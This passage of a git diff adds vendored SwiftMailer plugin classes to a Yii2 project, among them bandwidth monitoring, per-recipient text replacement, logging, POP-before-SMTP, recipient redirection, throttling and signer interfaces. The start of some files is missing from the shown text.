* Sleep for $seconds. + * + * @param int $seconds + */ + public function sleep($seconds) + { + if (isset($this->_sleeper)) { + $this->_sleeper->sleep($seconds); + } else { + sleep($seconds); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/BandwidthMonitorPlugin.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/BandwidthMonitorPlugin.php new file mode 100644 index 00000000..af1701a0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/BandwidthMonitorPlugin.php @@ -0,0 +1,164 @@ +getMessage(); + $message->toByteStream($this); + } + + /** + * Invoked immediately following a command being sent. + * + * @param Swift_Events_CommandEvent $evt + */ + public function commandSent(Swift_Events_CommandEvent $evt) + { + $command = $evt->getCommand(); + $this->_out += strlen($command); + } + + /** + * Invoked immediately following a response coming back. + * + * @param Swift_Events_ResponseEvent $evt + */ + public function responseReceived(Swift_Events_ResponseEvent $evt) + { + $response = $evt->getResponse(); + $this->_in += strlen($response); + } + + /** + * Called when a message is sent so that the outgoing counter can be increased. + * + * @param string $bytes + */ + public function write($bytes) + { + $this->_out += strlen($bytes); + foreach ($this->_mirrors as $stream) { + $stream->write($bytes); + } + } + + /** + * Not used. + */ + public function commit() + { + } + + /** + * Attach $is to this stream. + * + * The stream acts as an observer, receiving all data that is written. + * All {@link write()} and {@link flushBuffers()} operations will be mirrored. + * + * @param Swift_InputByteStream $is + */ + public function bind(Swift_InputByteStream $is) + { + $this->_mirrors[] = $is; + } + + /** + * Remove an already bound stream. + * + * If $is is not bound, no errors will be raised. + * If the stream currently has any buffered data it will be written to $is + * before unbinding occurs. + * + * @param Swift_InputByteStream $is + */ + public function unbind(Swift_InputByteStream $is) + { + foreach ($this->_mirrors as $k => $stream) { + if ($is === $stream) { + unset($this->_mirrors[$k]); + } + } + } + + /** + * Not used. + */ + public function flushBuffers() + { + foreach ($this->_mirrors as $stream) { + $stream->flushBuffers(); + } + } + + /** + * Get the total number of bytes sent to the server. + * + * @return int + */ + public function getBytesOut() + { + return $this->_out; + } + + /** + * Get the total number of bytes received from the server. + * + * @return int + */ + public function getBytesIn() + { + return $this->_in; + } + + /** + * Reset the internal counters to zero. + */ + public function reset() + { + $this->_out = 0; + $this->_in = 0; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Decorator/Replacements.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Decorator/Replacements.php new file mode 100644 index 00000000..86184339 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Decorator/Replacements.php @@ -0,0 +1,31 @@ + + * $replacements = array( + * "address1@domain.tld" => array("{a}" => "b", "{c}" => "d"), + * "address2@domain.tld" => array("{a}" => "x", "{c}" => "y") + * ) + * + * + * When using an instance of {@link Swift_Plugins_Decorator_Replacements}, + * the object should return just the array of replacements for the address + * given to {@link Swift_Plugins_Decorator_Replacements::getReplacementsFor()}. + * + * @param mixed $replacements Array or Swift_Plugins_Decorator_Replacements + */ + public function __construct($replacements) + { + $this->setReplacements($replacements); + } + + /** + * Sets replacements. + * + * @param mixed $replacements Array or Swift_Plugins_Decorator_Replacements + * + * @see __construct() + */ + public function setReplacements($replacements) + { + if (!($replacements instanceof Swift_Plugins_Decorator_Replacements)) { + $this->_replacements = (array) $replacements; + } else { + $this->_replacements = $replacements; + } + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + $message = $evt->getMessage(); + $this->_restoreMessage($message); + $to = array_keys($message->getTo()); + $address = array_shift($to); + if ($replacements = $this->getReplacementsFor($address)) { + $body = $message->getBody(); + $search = array_keys($replacements); + $replace = array_values($replacements); + $bodyReplaced = str_replace( + $search, $replace, $body + ); + if ($body != $bodyReplaced) { + $this->_originalBody = $body; + $message->setBody($bodyReplaced); + } + + foreach ($message->getHeaders()->getAll() as $header) { + $body = $header->getFieldBodyModel(); + $count = 0; + if (is_array($body)) { + $bodyReplaced = array(); + foreach ($body as $key => $value) { + $count1 = 0; + $count2 = 0; + $key = is_string($key) ? str_replace($search, $replace, $key, $count1) : $key; + $value = is_string($value) ? str_replace($search, $replace, $value, $count2) : $value; + $bodyReplaced[$key] = $value; + + if (!$count && ($count1 || $count2)) { + $count = 1; + } + } + } else { + $bodyReplaced = str_replace($search, $replace, $body, $count); + } + + if ($count) { + $this->_originalHeaders[$header->getFieldName()] = $body; + $header->setFieldBodyModel($bodyReplaced); + } + } + + $children = (array) $message->getChildren(); + foreach ($children as $child) { + list($type, ) = sscanf($child->getContentType(), '%[^/]/%s'); + if ('text' == $type) { + $body = $child->getBody(); + $bodyReplaced = str_replace( + $search, $replace, $body + ); + if ($body != $bodyReplaced) { + $child->setBody($bodyReplaced); + $this->_originalChildBodies[$child->getId()] = $body; + } + } + } + $this->_lastMessage = $message; + } + } + + /** + * Find a map of replacements for the address. + * + * If this plugin was provided with a delegate instance of + * {@link Swift_Plugins_Decorator_Replacements} then the call will be + * delegated to it. Otherwise, it will attempt to find the replacements + * from the array provided in the constructor. + * + * If no replacements can be found, an empty value (NULL) is returned. + * + * @param string $address + * + * @return array + */ + public function getReplacementsFor($address) + { + if ($this->_replacements instanceof Swift_Plugins_Decorator_Replacements) { + return $this->_replacements->getReplacementsFor($address); + } else { + return isset($this->_replacements[$address]) + ? $this->_replacements[$address] + : null + ; + } + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + $this->_restoreMessage($evt->getMessage()); + } + + /** Restore a changed message back to its original state */ + private function _restoreMessage(Swift_Mime_Message $message) + { + if ($this->_lastMessage === $message) { + if (isset($this->_originalBody)) { + $message->setBody($this->_originalBody); + $this->_originalBody = null; + } + if (!empty($this->_originalHeaders)) { + foreach ($message->getHeaders()->getAll() as $header) { + if (array_key_exists($header->getFieldName(), $this->_originalHeaders)) { + $header->setFieldBodyModel($this->_originalHeaders[$header->getFieldName()]); + } + } + $this->_originalHeaders = array(); + } + if (!empty($this->_originalChildBodies)) { + $children = (array) $message->getChildren(); + foreach ($children as $child) { + $id = $child->getId(); + if (array_key_exists($id, $this->_originalChildBodies)) { + $child->setBody($this->_originalChildBodies[$id]); + } + } + $this->_originalChildBodies = array(); + } + $this->_lastMessage = null; + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/ImpersonatePlugin.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/ImpersonatePlugin.php new file mode 100644 index 00000000..5bd0bbda --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/ImpersonatePlugin.php @@ -0,0 +1,68 @@ +_sender = $sender; + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + $message = $evt->getMessage(); + $headers = $message->getHeaders(); + + // save current recipients + $headers->addPathHeader('X-Swift-Return-Path', $message->getReturnPath()); + + // replace them with the one to send to + $message->setReturnPath($this->_sender); + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + $message = $evt->getMessage(); + + // restore original headers + $headers = $message->getHeaders(); + + if ($headers->has('X-Swift-Return-Path')) { + $message->setReturnPath($headers->get('X-Swift-Return-Path')->getAddress()); + $headers->removeAll('X-Swift-Return-Path'); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Logger.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Logger.php new file mode 100644 index 00000000..915e7206 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Logger.php @@ -0,0 +1,36 @@ +_logger = $logger; + } + + /** + * Add a log entry. + * + * @param string $entry + */ + public function add($entry) + { + $this->_logger->add($entry); + } + + /** + * Clear the log contents. + */ + public function clear() + { + $this->_logger->clear(); + } + + /** + * Get this log as a string. + * + * @return string + */ + public function dump() + { + return $this->_logger->dump(); + } + + /** + * Invoked immediately following a command being sent. + * + * @param Swift_Events_CommandEvent $evt + */ + public function commandSent(Swift_Events_CommandEvent $evt) + { + $command = $evt->getCommand(); + $this->_logger->add(sprintf(">> %s", $command)); + } + + /** + * Invoked immediately following a response coming back. + * + * @param Swift_Events_ResponseEvent $evt + */ + public function responseReceived(Swift_Events_ResponseEvent $evt) + { + $response = $evt->getResponse(); + $this->_logger->add(sprintf("<< %s", $response)); + } + + /** + * Invoked just before a Transport is started. + * + * @param Swift_Events_TransportChangeEvent $evt + */ + public function beforeTransportStarted(Swift_Events_TransportChangeEvent $evt) + { + $transportName = get_class($evt->getSource()); + $this->_logger->add(sprintf("++ Starting %s", $transportName)); + } + + /** + * Invoked immediately after the Transport is started. + * + * @param Swift_Events_TransportChangeEvent $evt + */ + public function transportStarted(Swift_Events_TransportChangeEvent $evt) + { + $transportName = get_class($evt->getSource()); + $this->_logger->add(sprintf("++ %s started", $transportName)); + } + + /** + * Invoked just before a Transport is stopped. + * + * @param Swift_Events_TransportChangeEvent $evt + */ + public function beforeTransportStopped(Swift_Events_TransportChangeEvent $evt) + { + $transportName = get_class($evt->getSource()); + $this->_logger->add(sprintf("++ Stopping %s", $transportName)); + } + + /** + * Invoked immediately after the Transport is stopped. + * + * @param Swift_Events_TransportChangeEvent $evt + */ + public function transportStopped(Swift_Events_TransportChangeEvent $evt) + { + $transportName = get_class($evt->getSource()); + $this->_logger->add(sprintf("++ %s stopped", $transportName)); + } + + /** + * Invoked as a TransportException is thrown in the Transport system. + * + * @param Swift_Events_TransportExceptionEvent $evt + */ + public function exceptionThrown(Swift_Events_TransportExceptionEvent $evt) + { + $e = $evt->getException(); + $message = $e->getMessage(); + $this->_logger->add(sprintf("!! %s", $message)); + $message .= PHP_EOL; + $message .= 'Log data:'.PHP_EOL; + $message .= $this->_logger->dump(); + $evt->cancelBubble(); + throw new Swift_TransportException($message); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/ArrayLogger.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/ArrayLogger.php new file mode 100644 index 00000000..f1739e8e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/ArrayLogger.php @@ -0,0 +1,72 @@ +_size = $size; + } + + /** + * Add a log entry. + * + * @param string $entry + */ + public function add($entry) + { + $this->_log[] = $entry; + while (count($this->_log) > $this->_size) { + array_shift($this->_log); + } + } + + /** + * Clear the log contents. + */ + public function clear() + { + $this->_log = array(); + } + + /** + * Get this log as a string. + * + * @return string + */ + public function dump() + { + return implode(PHP_EOL, $this->_log); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/EchoLogger.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/EchoLogger.php new file mode 100644 index 00000000..e8b6c18a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Loggers/EchoLogger.php @@ -0,0 +1,58 @@ +_isHtml = $isHtml; + } + + /** + * Add a log entry. + * + * @param string $entry + */ + public function add($entry) + { + if ($this->_isHtml) { + printf('%s%s%s', htmlspecialchars($entry, ENT_QUOTES), '
              ', PHP_EOL); + } else { + printf('%s%s', $entry, PHP_EOL); + } + } + + /** + * Not implemented. + */ + public function clear() + { + } + + /** + * Not implemented. + */ + public function dump() + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/MessageLogger.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/MessageLogger.php new file mode 100644 index 00000000..a02ad98e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/MessageLogger.php @@ -0,0 +1,75 @@ +messages = array(); + } + + /** + * Get the message list + * + * @return array + */ + public function getMessages() + { + return $this->messages; + } + + /** + * Get the message count + * + * @return int count + */ + public function countMessages() + { + return count($this->messages); + } + + /** + * Empty the message list + * + */ + public function clear() + { + $this->messages = array(); + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + $this->messages[] = clone $evt->getMessage(); + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Pop/Pop3Connection.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Pop/Pop3Connection.php new file mode 100644 index 00000000..1e18016a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Pop/Pop3Connection.php @@ -0,0 +1,31 @@ +_host = $host; + $this->_port = $port; + $this->_crypto = $crypto; + } + + /** + * Create a new PopBeforeSmtpPlugin for $host and $port. + * + * @param string $host + * @param int $port + * @param string $crypto as "tls" or "ssl" + * + * @return Swift_Plugins_PopBeforeSmtpPlugin + */ + public static function newInstance($host, $port = 110, $crypto = null) + { + return new self($host, $port, $crypto); + } + + /** + * Set a Pop3Connection to delegate to instead of connecting directly. + * + * @param Swift_Plugins_Pop_Pop3Connection $connection + * + * @return Swift_Plugins_PopBeforeSmtpPlugin + */ + public function setConnection(Swift_Plugins_Pop_Pop3Connection $connection) + { + $this->_connection = $connection; + + return $this; + } + + /** + * Bind this plugin to a specific SMTP transport instance. + * + * @param Swift_Transport + */ + public function bindSmtp(Swift_Transport $smtp) + { + $this->_transport = $smtp; + } + + /** + * Set the connection timeout in seconds (default 10). + * + * @param int $timeout + * + * @return Swift_Plugins_PopBeforeSmtpPlugin + */ + public function setTimeout($timeout) + { + $this->_timeout = (int) $timeout; + + return $this; + } + + /** + * Set the username to use when connecting (if needed). + * + * @param string $username + * + * @return Swift_Plugins_PopBeforeSmtpPlugin + */ + public function setUsername($username) + { + $this->_username = $username; + + return $this; + } + + /** + * Set the password to use when connecting (if needed). + * + * @param string $password + * + * @return Swift_Plugins_PopBeforeSmtpPlugin + */ + public function setPassword($password) + { + $this->_password = $password; + + return $this; + } + + /** + * Connect to the POP3 host and authenticate. + * + * @throws Swift_Plugins_Pop_Pop3Exception if connection fails + */ + public function connect() + { + if (isset($this->_connection)) { + $this->_connection->connect(); + } else { + if (!isset($this->_socket)) { + if (!$socket = fsockopen( + $this->_getHostString(), $this->_port, $errno, $errstr, $this->_timeout)) { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('Failed to connect to POP3 host [%s]: %s', $this->_host, $errstr) + ); + } + $this->_socket = $socket; + + if (false === $greeting = fgets($this->_socket)) { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('Failed to connect to POP3 host [%s]', trim($greeting)) + ); + } + + $this->_assertOk($greeting); + + if ($this->_username) { + $this->_command(sprintf("USER %s\r\n", $this->_username)); + $this->_command(sprintf("PASS %s\r\n", $this->_password)); + } + } + } + } + + /** + * Disconnect from the POP3 host. + */ + public function disconnect() + { + if (isset($this->_connection)) { + $this->_connection->disconnect(); + } else { + $this->_command("QUIT\r\n"); + if (!fclose($this->_socket)) { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('POP3 host [%s] connection could not be stopped', $this->_host) + ); + } + $this->_socket = null; + } + } + + /** + * Invoked just before a Transport is started. + * + * @param Swift_Events_TransportChangeEvent $evt + */ + public function beforeTransportStarted(Swift_Events_TransportChangeEvent $evt) + { + if (isset($this->_transport)) { + if ($this->_transport !== $evt->getTransport()) { + return; + } + } + + $this->connect(); + $this->disconnect(); + } + + /** + * Not used. + */ + public function transportStarted(Swift_Events_TransportChangeEvent $evt) + { + } + + /** + * Not used. + */ + public function beforeTransportStopped(Swift_Events_TransportChangeEvent $evt) + { + } + + /** + * Not used. + */ + public function transportStopped(Swift_Events_TransportChangeEvent $evt) + { + } + + private function _command($command) + { + if (!fwrite($this->_socket, $command)) { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('Failed to write command [%s] to POP3 host', trim($command)) + ); + } + + if (false === $response = fgets($this->_socket)) { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('Failed to read from POP3 host after command [%s]', trim($command)) + ); + } + + $this->_assertOk($response); + + return $response; + } + + private function _assertOk($response) + { + if (substr($response, 0, 3) != '+OK') { + throw new Swift_Plugins_Pop_Pop3Exception( + sprintf('POP3 command failed [%s]', trim($response)) + ); + } + } + + private function _getHostString() + { + $host = $this->_host; + switch (strtolower($this->_crypto)) { + case 'ssl': + $host = 'ssl://'.$host; + break; + + case 'tls': + $host = 'tls://'.$host; + break; + } + + return $host; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/RedirectingPlugin.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/RedirectingPlugin.php new file mode 100644 index 00000000..cc86134c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/RedirectingPlugin.php @@ -0,0 +1,211 @@ +_recipient = $recipient; + $this->_whitelist = $whitelist; + } + + /** + * Set the recipient of all messages. + * + * @param mixed $recipient + */ + public function setRecipient($recipient) + { + $this->_recipient = $recipient; + } + + /** + * Get the recipient of all messages. + * + * @return mixed + */ + public function getRecipient() + { + return $this->_recipient; + } + + /** + * Set a list of regular expressions to whitelist certain recipients + * + * @param array $whitelist + */ + public function setWhitelist(array $whitelist) + { + $this->_whitelist = $whitelist; + } + + /** + * Get the whitelist + * + * @return array + */ + public function getWhitelist() + { + return $this->_whitelist; + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + $message = $evt->getMessage(); + $headers = $message->getHeaders(); + + // conditionally save current recipients + + if ($headers->has('to')) { + $headers->addMailboxHeader('X-Swift-To', $message->getTo()); + } + + if ($headers->has('cc')) { + $headers->addMailboxHeader('X-Swift-Cc', $message->getCc()); + } + + if ($headers->has('bcc')) { + $headers->addMailboxHeader('X-Swift-Bcc', $message->getBcc()); + } + + // Filter remaining headers against whitelist + $this->_filterHeaderSet($headers, 'To'); + $this->_filterHeaderSet($headers, 'Cc'); + $this->_filterHeaderSet($headers, 'Bcc'); + + // Add each hard coded recipient + $to = $message->getTo(); + if (null === $to) { + $to = array(); + } + + foreach ( (array) $this->_recipient as $recipient) { + if (!array_key_exists($recipient, $to)) { + $message->addTo($recipient); + } + } + } + + /** + * Filter header set against a whitelist of regular expressions + * + * @param Swift_Mime_HeaderSet $headerSet + * @param string $type + */ + private function _filterHeaderSet(Swift_Mime_HeaderSet $headerSet, $type) + { + foreach ($headerSet->getAll($type) as $headers) { + $headers->setNameAddresses($this->_filterNameAddresses($headers->getNameAddresses())); + } + } + + /** + * Filtered list of addresses => name pairs + * + * @param array $recipients + * @return array + */ + private function _filterNameAddresses(array $recipients) + { + $filtered = array(); + + foreach ($recipients as $address => $name) { + if ($this->_isWhitelisted($address)) { + $filtered[$address] = $name; + } + } + + return $filtered; + } + + /** + * Matches address against whitelist of regular expressions + * + * @param $recipient + * @return bool + */ + protected function _isWhitelisted($recipient) + { + if (in_array($recipient, (array) $this->_recipient)) { + return true; + } + + foreach ($this->_whitelist as $pattern) { + if (preg_match($pattern, $recipient)) { + return true; + } + } + + return false; + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + $this->_restoreMessage($evt->getMessage()); + } + + private function _restoreMessage(Swift_Mime_Message $message) + { + // restore original headers + $headers = $message->getHeaders(); + + if ($headers->has('X-Swift-To')) { + $message->setTo($headers->get('X-Swift-To')->getNameAddresses()); + $headers->removeAll('X-Swift-To'); + } else { + $message->setTo(null); + } + + if ($headers->has('X-Swift-Cc')) { + $message->setCc($headers->get('X-Swift-Cc')->getNameAddresses()); + $headers->removeAll('X-Swift-Cc'); + } + + if ($headers->has('X-Swift-Bcc')) { + $message->setBcc($headers->get('X-Swift-Bcc')->getNameAddresses()); + $headers->removeAll('X-Swift-Bcc'); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporter.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporter.php new file mode 100644 index 00000000..294b547d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporter.php @@ -0,0 +1,32 @@ +_reporter = $reporter; + } + + /** + * Not used. + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + } + + /** + * Invoked immediately after the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + $message = $evt->getMessage(); + $failures = array_flip($evt->getFailedRecipients()); + foreach ((array) $message->getTo() as $address => $null) { + $this->_reporter->notify( + $message, $address, (array_key_exists($address, $failures) + ? Swift_Plugins_Reporter::RESULT_FAIL + : Swift_Plugins_Reporter::RESULT_PASS) + ); + } + foreach ((array) $message->getCc() as $address => $null) { + $this->_reporter->notify( + $message, $address, (array_key_exists($address, $failures) + ? Swift_Plugins_Reporter::RESULT_FAIL + : Swift_Plugins_Reporter::RESULT_PASS) + ); + } + foreach ((array) $message->getBcc() as $address => $null) { + $this->_reporter->notify( + $message, $address, (array_key_exists($address, $failures) + ? Swift_Plugins_Reporter::RESULT_FAIL + : Swift_Plugins_Reporter::RESULT_PASS) + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HitReporter.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HitReporter.php new file mode 100644 index 00000000..ea60f51d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HitReporter.php @@ -0,0 +1,59 @@ +_failures_cache[$address])) { + $this->_failures[] = $address; + $this->_failures_cache[$address] = true; + } + } + + /** + * Get an array of addresses for which delivery failed. + * + * @return array + */ + public function getFailedRecipients() + { + return $this->_failures; + } + + /** + * Clear the buffer (empty the list). + */ + public function clear() + { + $this->_failures = $this->_failures_cache = array(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HtmlReporter.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HtmlReporter.php new file mode 100644 index 00000000..817e32f5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Reporters/HtmlReporter.php @@ -0,0 +1,39 @@ +".PHP_EOL; + echo "PASS ".$address.PHP_EOL; + echo "
            ".PHP_EOL; + flush(); + } else { + echo "
            ".PHP_EOL; + echo "FAIL ".$address.PHP_EOL; + echo "
            ".PHP_EOL; + flush(); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Sleeper.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Sleeper.php new file mode 100644 index 00000000..38727052 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Sleeper.php @@ -0,0 +1,24 @@ +_rate = $rate; + $this->_mode = $mode; + $this->_sleeper = $sleeper; + $this->_timer = $timer; + } + + /** + * Invoked immediately before the Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function beforeSendPerformed(Swift_Events_SendEvent $evt) + { + $time = $this->getTimestamp(); + if (!isset($this->_start)) { + $this->_start = $time; + } + $duration = $time - $this->_start; + + switch ($this->_mode) { + case self::BYTES_PER_MINUTE : + $sleep = $this->_throttleBytesPerMinute($duration); + break; + case self::MESSAGES_PER_SECOND : + $sleep = $this->_throttleMessagesPerSecond($duration); + break; + case self::MESSAGES_PER_MINUTE : + $sleep = $this->_throttleMessagesPerMinute($duration); + break; + default : + $sleep = 0; + break; + } + + if ($sleep > 0) { + $this->sleep($sleep); + } + } + + /** + * Invoked when a Message is sent. + * + * @param Swift_Events_SendEvent $evt + */ + public function sendPerformed(Swift_Events_SendEvent $evt) + { + parent::sendPerformed($evt); + ++$this->_messages; + } + + /** + * Sleep for $seconds. + * + * @param int $seconds + */ + public function sleep($seconds) + { + if (isset($this->_sleeper)) { + $this->_sleeper->sleep($seconds); + } else { + sleep($seconds); + } + } + + /** + * Get the current UNIX timestamp. + * + * @return int + */ + public function getTimestamp() + { + if (isset($this->_timer)) { + return $this->_timer->getTimestamp(); + } else { + return time(); + } + } + + /** + * Get a number of seconds to sleep for. + * + * @param int $timePassed + * + * @return int + */ + private function _throttleBytesPerMinute($timePassed) + { + $expectedDuration = $this->getBytesOut() / ($this->_rate / 60); + + return (int) ceil($expectedDuration - $timePassed); + } + + /** + * Get a number of seconds to sleep for. + * + * @param int $timePassed + * + * @return int + */ + private function _throttleMessagesPerSecond($timePassed) + { + $expectedDuration = $this->_messages / ($this->_rate); + + return (int) ceil($expectedDuration - $timePassed); + } + + /** + * Get a number of seconds to sleep for. + * + * @param int $timePassed + * + * @return int + */ + private function _throttleMessagesPerMinute($timePassed) + { + $expectedDuration = $this->_messages / ($this->_rate / 60); + + return (int) ceil($expectedDuration - $timePassed); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Timer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Timer.php new file mode 100644 index 00000000..a05e3181 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Plugins/Timer.php @@ -0,0 +1,24 @@ +register('properties.charset')->asValue($charset); + + return $this; + } + + /** + * Set the directory where temporary files can be saved. + * + * @param string $dir + * + * @return Swift_Preferences + */ + public function setTempDir($dir) + { + Swift_DependencyContainer::getInstance() + ->register('tempdir')->asValue($dir); + + return $this; + } + + /** + * Set the type of cache to use (i.e. "disk" or "array"). + * + * @param string $type + * + * @return Swift_Preferences + */ + public function setCacheType($type) + { + Swift_DependencyContainer::getInstance() + ->register('cache')->asAliasOf(sprintf('cache.%s', $type)); + + return $this; + } + + /** + * Set the QuotedPrintable dot escaper preference. + * + * @param bool $dotEscape + * + * @return Swift_Preferences + */ + public function setQPDotEscape($dotEscape) + { + $dotEscape = !empty($dotEscape); + Swift_DependencyContainer::getInstance() + ->register('mime.qpcontentencoder') + ->asNewInstanceOf('Swift_Mime_ContentEncoder_QpContentEncoder') + ->withDependencies(array('mime.charstream', 'mime.bytecanonicalizer')) + ->addConstructorValue($dotEscape); + + return $this; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ReplacementFilterFactory.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ReplacementFilterFactory.php new file mode 100644 index 00000000..ca9e4f60 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ReplacementFilterFactory.php @@ -0,0 +1,27 @@ +createDependenciesFor('transport.sendmail') + ); + + $this->setCommand($command); + } + + /** + * Create a new SendmailTransport instance. + * + * @param string $command + * + * @return Swift_SendmailTransport + */ + public static function newInstance($command = '/usr/sbin/sendmail -bs') + { + return new self($command); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SignedMessage.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SignedMessage.php new file mode 100644 index 00000000..66e1c68c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SignedMessage.php @@ -0,0 +1,22 @@ + + * @deprecated + */ +class Swift_SignedMessage extends Swift_Message +{ +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signer.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signer.php new file mode 100644 index 00000000..7448179f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signer.php @@ -0,0 +1,20 @@ + + */ +interface Swift_Signer +{ + public function reset(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/BodySigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/BodySigner.php new file mode 100644 index 00000000..93dc8ac7 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/BodySigner.php @@ -0,0 +1,33 @@ + + */ +interface Swift_Signers_BodySigner extends Swift_Signer +{ + /** + * Change the Swift_Signed_Message to apply the singing. + * + * @param Swift_Message $message + * + * @return Swift_Signers_BodySigner + */ + public function signMessage(Swift_Message $message); + + /** + * Return the list of header a signer might tamper + * + * @return array + */ + public function getAlteredHeaders(); +} diff --git 